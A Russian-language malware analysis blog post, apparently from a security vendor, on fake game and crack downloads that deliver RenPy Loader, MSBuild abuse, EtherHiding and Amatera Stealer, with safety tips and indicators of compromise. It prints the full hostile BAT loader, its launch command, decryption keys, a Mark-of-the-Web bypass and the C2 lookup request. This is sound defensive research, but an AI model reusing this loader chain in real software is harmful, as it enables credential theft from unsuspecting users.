Поддельные игры распространяют программы-кражи данных с помощью RenPy Loader, MSBuild и EtherHiding

| 20 июля 2026 года
Логотип Ren'Py

Мы выявили несколько кампаний, в которых для распространения RenPy Loader используются поддельные файлы для скачивания игр, модификаций, кряков и программного обеспечения. После установки загрузчик запускает сложную многоэтапную цепочку заражения, в ходе которой злоумышленники злоупотребляют MSBuild и используют технику EtherHiding, чтобы в конечном итоге установить Amatera Stealer.

Amatera — это программа-инфостилер, то есть вид вредоносного ПО, предназначенного для кражи конфиденциальной информации с заражённого устройства. Она может похищать пароли и другие данные, хранящиеся в браузерах, криптовалютных кошельках, расширениях браузеров, мессенджерах и локальных файлах. Украденные учетные данные и данные сеанса также могут позволить злоумышленникам получить доступ к онлайн-аккаунтам жертвы.

Жертва может видеть то, что выглядит как обычная игра или программа установки, в то время как вредоносное ПО незаметно работает в фоновом режиме.

RenPy Loader, также известный как RenEngine Loader, представляет особый интерес, поскольку он злоупотребляет Ren’Py — легальным движком, используемым для создания визуальных новелл, сюжетных игр и интерактивной литературы. Скрывая вредоносный код внутри программного обеспечения, связанного с играми, злоумышленники могут сделать свои загрузки более убедительными для пользователей, ищущих игры, модификации или взломанное ПО.

Ранее мы уже сталкивались со случаями, когда злоумышленники злоупотребляли легитимными инструментами разработки и новыми программными фреймворками, включая Bun и Deno, для распространения вредоносного ПО. RenPy Loader следует той же схеме: злоумышленники злоупотребляют легитимными технологиями, чтобы замаскировать вредоносную деятельность, усложнить цепочку заражения и затруднить обнаружение.

Также было зафиксировано, что RenPy Loader распространяет и другие вредоносные программы, в том числе HijackLoader и Lumma Stealer, что свидетельствует о том, что конечная вредоносная нагрузка может варьироваться в зависимости от конкретной кампании.

В этом блоге мы анализируем цепочку заражения, в которой Ren’Py распаковывает ZIP-архив, содержащий файл BAT и несколько файлов проектов MSBuild. Эти файлы загружают троянский компонент .NET, который затем декодирует ещё один вредоносный компонент.

Этот вредоносный компонент использует технологию под названием EtherHiding для определения местоположения своего сервера управления (C2). Вместо того чтобы хранить адрес C2 непосредственно внутри вредоносного ПО, злоумышленники скрывают его в данных, хранящихся в публичной блокчейне. Затем вредоносное ПО загружает с этого сервера последующие этапы атаки, что затрудняет выявление и блокирование инфраструктуры злоумышленников.

В заключение мы рассмотрим дополнительные полезные нагрузки, которые в конечном итоге расшифровывают и запускают Amatera Stealer.

Поддельные файлы для скачивания заражают ваше устройство

Заражение начинается, когда пользователь скачивает якобы игру, мод, кряк или какое-либо программное обеспечение. Мы обнаружили, что вредоносные файлы распространяются через:

  • Вредоносные веб-сайты
  • Порталы для скачивания игр
  • Несколько сервисов для обмена файлами, в том числе Wormhole, GoFile, Google Drive и MEGA

Вот некоторые из обнаруженных страниц, с которых начинается цепочка заражения:

В ряде случаев при нажатии на ссылку для скачивания пользователь перенаправлялся на другой поддельный сайт для скачивания. Эти страницы отличались дизайном и использовали вымышленные названия сервисов, что позволяло кампаниям выглядеть менее однообразными и затрудняло распознавание вредоносной инфраструктуры.

Ниже приведены примеры поддельных страниц загрузки, используемых для распространения вредоносного архива:

Пользователь загружает архив, содержащий файл с именем Setup.exe. При открытии этого файла запускается цепочка заражения.

Пример архива, загруженного с вредоносного веб-сайта
Пример архива, загруженного с вредоносного веб-сайта

Жертва видит экран загрузки или установки, но в фоновом режиме запускается вредоносный код.

Экран установки
Экран установки

Как оставаться в безопасности

Соблюдение нескольких мер предосторожности может снизить риск загрузки вредоносных игр или программ:

  • Скачивайте игры и программы с официальных сайтов, из проверенных магазинов приложений или с надежных платформ распространения.
  • С осторожностью относитесь к пиратскому ПО, неофициальным модификациям и бесплатным версиям платных игр.
  • Будьте осторожны, если ссылка для скачивания перенаправляет вас через несколько незнакомых сайтов или файлообменных сервисов.
  • Перед запуском исполняемых файлов, таких как, проверьте содержимое загруженных архивов: Setup.exe.
  • Обратите внимание на необычные имена файлов, не относящиеся к делу изображения или текстовые файлы, а также на контент, не соответствующий тому, что вы собирались скачать.
  • Используйте антивирусное ПО, работающее в режиме реального времени, например Malwarebytes.
  • Обновляйте операционную систему, браузер и программы безопасности.

Организаторы этих кампаний постоянно создают новые веб-сайты и меняют страницы загрузки. Профессионально оформленный установщик или известный файлообменник не гарантируют безопасность загрузки.

Технический анализ загрузчика RenPy

Ren’Py — это бесплатный движок с открытым исходным кодом для создания визуальных новелл, игр с акцентом на сюжет и интерактивной литературы. Ren’Py позволяет интегрировать скрипты на языке Python, чем злоумышленники и пользуются для внедрения вредоносного кода.

В данном случае мы обнаружили вредоносный код в следующих файлах и по следующим путям:

Путь

Описание

data/python-packages/sys_config/

Классы, не поддерживающие «песочницу»

data/libwin32.rpa

Загрузчик

data/.GEg

Конфигурация, зашифрованная с использованием алгоритма XOR

data/j3lpTcg7kBRN.E3

ZIP-архив, зашифрованный с помощью алгоритма XOR

Загрузчик первой ступени, извлеченный из libwin32.rpa выполняет следующие операции:

  • Считывает конфигурацию data/.GEg и расшифровывает его с помощью декодирования Base64 и операции XOR с ключом 81034149cd6f48c8821340204f92766e. В этом файле конфигурации указан пароль, используемый для распаковки ZIP-архива, а также другие настройки, используемые загрузчиком.
  • Звонки sys_config.is_sandboxed() и завершает работу при обнаружении песочницы.
  • Дешифрование с помощью операции XOR data/j3lpTcg7kBRN.E3 с помощью клавиши A50YyY1 чтобы скачать ZIP-файл.
  • Распаковывает содержимое ZIP-архива в случайную папку в каталоге %TEMP%/tmp-{5 digits}-{12 characters} и записывает :Zone.Identifier альтернативный поток данных (ADS) с ZoneId=0 чтобы удалить «Mark of the Web» и обойти SmartScreen. Кроме того, он вставляет случайный REM строку в извлеченный файл BAT.
  • Запускает полезную нагрузку с помощью forfiles.exe.
  • Отправляет MAC устройства и идентификатор кампании на сайт отслеживания.
Расшифрованная конфигурация
Расшифрованная конфигурация
Файлы, содержащиеся в расшифрованном ZIP-архиве
Файлы, содержащиеся в расшифрованном ZIP-архиве

В данном случае извлечённый файл BAT был запущен с помощью следующей команды:

forfiles.exe /p C:\Users\{USER}\AppData\Local\Temp\tmp-07921-lfxH6lX35xOa /m TP2hppNk5.oyb /c "cmd /c ren @file TP2hppNk5.bat && call TP2hppNk5.bat"

Содержимое файла BAT:

@echo off
setlocal DisableDelayedExpansion
set "_bp=%~f0"
set "_rl=0"
if /i "%~1"=="/launched" set "_rl=1"
if /i "%~2"=="/launched" set "_rl=1"
if /i "%~3"=="/launched" set "_rl=1"
if /i "%~4"=="/launched" set "_rl=1"
if /i "%~5"=="/launched" set "_rl=1"
if /i "%~6"=="/launched" set "_rl=1"
if /i "%~7"=="/launched" set "_rl=1"
if /i "%~8"=="/launched" set "_rl=1"
if /i "%~9"=="/launched" set "_rl=1"
if "%_rl%"=="1" goto :_go
set "_ch=%SystemRoot%\System32\conhost.exe"
if exist "%SystemRoot%\Sysnative\conhost.exe" set "_ch=%SystemRoot%\Sysnative\conhost.exe"
where conhost.exe >nul 2>&1
if %errorlevel% equ 0 (
  endlocal & start "" /b "%_ch%" --headless cmd.exe /c "%_bp%" /launched
) else (
  endlocal & cmd.exe /c "%_bp%" /launched
)
exit /b 0
:_go
endlocal
setlocal EnableExtensions
set MSBUILDENABLEALLPROPERTYFUNCTIONS=1
set "_czzf=%~dp0Nancy.csproj"
set "_pb=%WINDIR%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
REM b64c5053-f19f-4c80-8ac5-e1e3f55b1c1c
if not exist "%_pb%" set "_pb=%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe"
if not exist "%_pb%" (
  exit /b 9
)
"%_pb%" "%~dp0Nancy.csproj" /nologo /v:q >nul 2>&1
endlocal

Запущенный файл BAT выполняет следующие операции:

  • Запускается заново в скрытой или бесконсольной консоли:
"C:\WINDOWS\System32\conhost.exe" --headless cmd.exe /c
  • Включает функции свойств MSBuild, что позволяет использовать дополнительные методы, такие как AppDomain.CurrentDomain.Load для выполнения:
MSBUILDENABLEALLPROPERTYFUNCTIONS=1
  • Выполняет MSBuild.exe с Nancy.csproj в качестве файла проекта. В ходе оценки проекта вредоносная функция свойства MSBuild осуществляет шестнадцатерично-десятичный декодирование и рефлексивно загружает следующий этап DLL.

Троянизированная DLL «Nancy» и пользовательский байт-код

Nancy.csproj импортирует три извлеченных файла Nancy.csproj.user, Internal.props, и Nancy.Compile.targets. Вредоносная DLL разбита на три части, которые хранятся в этих файлах.

Импортированные файлы в файле Nancy.csproj
Импортированные файлы внутри Nancy.csproj

Nancy.Compile.targets объединяет три значения для шестнадцатеричного декодирования DLL и запуска DefaultEvaluator5 метод с использованием AppDomain.CurrentDomain.Load.CreateInstance.

Выполнение DefaultEvaluator5
Выполнение DefaultEvaluator5

Самое интересное в том, что Nancy.csproj имеет два назначения: это проект MSBuild, используемый для запуска загрузчика первого уровня, а также он содержит код следующего уровня, декодируемый этим загрузчиком.

Эта DLL представляет собой троянскую версию библиотеки Nancy .NET и представляет собой обфусцированный загрузчик .NET со вредоносным кодом, реализованным в DefaultEvaluator5 класс. Часть функциональности DLL реализована в пользовательском байт-коде, выполняемом этим методом main.

Сравнение подлинных и троянских DLL-файлов Nancy
Сравнение подлинных и троянских DLL-файлов Nancy

DLL выполняет следующие операции:

  • Дешифрует строки из ресурсов с помощью дешифрования методом XOR с использованием нескольких ключей.
  • Определяет API с помощью хеширования API и GetDelegateForFunctionPointer.
  • Изменяет сетевые настройки, в том числе отключает проверку сертификатов TLS и устанавливает системный прокси-сервер по умолчанию.
  • Выполняет действия, направленные на противодействие криминалистической экспертизе.
  • Считывает _czzf переменная среды, которая указывает на предыдущую Nancy.csproj файл, а затем декодирует и запускает его.

Основной DefaultEvaluator5 Метод извлекает строки и интерпретирует байт-код, содержащийся в следующих ресурсах:

  • Nancy.Runtime.mvlorimu: Содержит пользовательский байт-код. Байт-код интерпретируется _pv и _sro. В ней реализовано 23 операционных кода, используемых для дешифрования других строк и загрузки DLL следующего уровня.
  • Nancy.Data.tcnlhxw и Nancy.Resources.kxxodp: Содержит зашифрованные строки и другие данные, используемые для дешифрования, включая ключи, длины, индексы и S-бокс.

Строки расшифровываются с помощью следующего алгоритма:

out[j] = data[dataOff+j] ^ key1[j%b] ^ sbox[(j*m1+seed)&0xFF] ^ key2[((j+m3*m2)%b2+b2)%b2]

Следующий этап DLL, GollopDevest, декодируется из того же самого Nancy.csproj файл, созданный по следующей логике и загруженный с помощью AppDomain.Load:

for i, k in enumerate(marker_int):
    if k < 256:
        payload[i] = k
    else:
        payload[i] = marker_int[k-256]
Кодированный следующий этап между маркерами Pack
Кодированный следующий этап между Pack маркеры

EtherHiding и Amatera Stealer

Следующим извлечённым модулем является DLL с именем GollopDevest.dll, программа для загрузки файлов на платформе .NET, которая использует метод EtherHiding для установления связи с сервером управления (C2) и загрузки следующего этапа вредоносного кода.

Зашифрованный домен C2 получается с помощью JSON-RPC-интерфейса Ethereum eth_call просьба bsc-dataseed.binance.org:

{"jsonrpc":"2.0","method":"eth_call","params":[{"to":"0x328a1fadff154290f0ce1389a4e633698cdfdaa7","data":"0x06fdde03"},"latest"],"id":1783436775}

Этот загрузчик EtherHiding, вероятно, является частью операции типа «вредоносное ПО как услуга» (MaaS), поскольку мы обнаружили его распространение в рамках других кампаний, в том числе кампаний ClickFix.

Затем загружаются три дополнительных модуля: две DLL-библиотеки .NET с именами PavinWide (DLL, препятствующая анализу) и GollopDevest (загрузочная DLL) и DLL на языке C++ с именем LanoseThrip, который в конечном итоге расшифровывает и загружает Amatera Stealer.

В данном случае эти полезные нагрузки были загружены с:

  • /assets/ExponeAboard.json
  • /assets/MailersKogasin.json
  • /assets/LanoseThrip.json

DLL-файлы .NET подвергаются интенсивной обфускации с использованием сглаживания потока управления, косвенных вызовов через calli/ldftn, шифрование строк с использованием нескольких алгоритмов, мусорный код, мертвый код и фиктивные строки, такие как URL-адреса.

Анализ этих DLL-файлов пока продолжается, и он будет более подробно рассмотрен в следующих публикациях блога.

Индикаторы компромисса (ИКС)

Домены

  • downpro[.]net – Поддельный сайт для скачивания
  • macisofile[.]sbs – Поддельный сайт для скачивания
  • visitmama[.]blog – Поддельный сайт для скачивания
  • visitmama[.]guru – Поддельный сайт для скачивания
  • getgamerfree[.]com – Поддельный сайт для скачивания
  • fullgames[.]digital – Поддельный сайт для скачивания
  • flingbase[.]net – Поддельный сайт для скачивания
  • citronemu[.]com – Поддельный сайт для скачивания
  • filemodo[.]xyz – Инфраструктура распределения
  • storage06x[.]cfd – Инфраструктура распределения
  • p03sil[.]cyou – Инфраструктура распределения
  • wimsedas[.]xyz – Инфраструктура распределения
  • againstmor[.]store – Инфраструктура распределения
  • host03q[.]cfd – Инфраструктура распределения
  • cloud01y[.]cfd – Инфраструктура распределения
  • storage11x[.]cfd – Инфраструктура распределения
  • storage04x[.]cfd – Инфраструктура распределения
  • host82p[.]cfd – Инфраструктура распределения
  • cloud05y[.]cfd – Инфраструктура распределения
  • analyticstrack-pzh[.]click – Сайт для отслеживания
  • login.orbitalframework[.]cc – Amatera Stealer C2

IP-адреса

  • 144.124.251[.]171 – Используется для получения дополнительных данных
  • 195.63.140[.]33 – Используется для получения дополнительных данных
  • 78.40.196[.]252 – Используется для получения дополнительных данных

Хэши файлов (MD5)

  • 29203ca123d51b1b33505a0813d360df – Загрузчик первой стадии (DLL с троянским кодом)
  • 810F257542018BE0FC62AF542D13D012 – DLL-файл GollopDevest (DLL-файл программы-загрузчика)
  • 681DB529E402467A4B0567C82A350FC0 – DLL-файл PavinWride (DLL-файл, защищающий от анализа)
  • 2E116632248A7E1F8AA6BCA92D9C1C90 – DLL-файл GollopDevest (загрузочная DLL)
  • F8453EFE408CE25B9484F872797E3D63 – Итоговая полезная нагрузка

Награда «Выбор редакции CNET» 2026 года

По данным CNET.Прочитать их обзор


Об авторе

Габриэле — инженер-исследователь в области вредоносного ПО, который обожает бороться с вредоносными программами. В свободное от работы время он любит наслаждаться природой, искусством и общением с животными.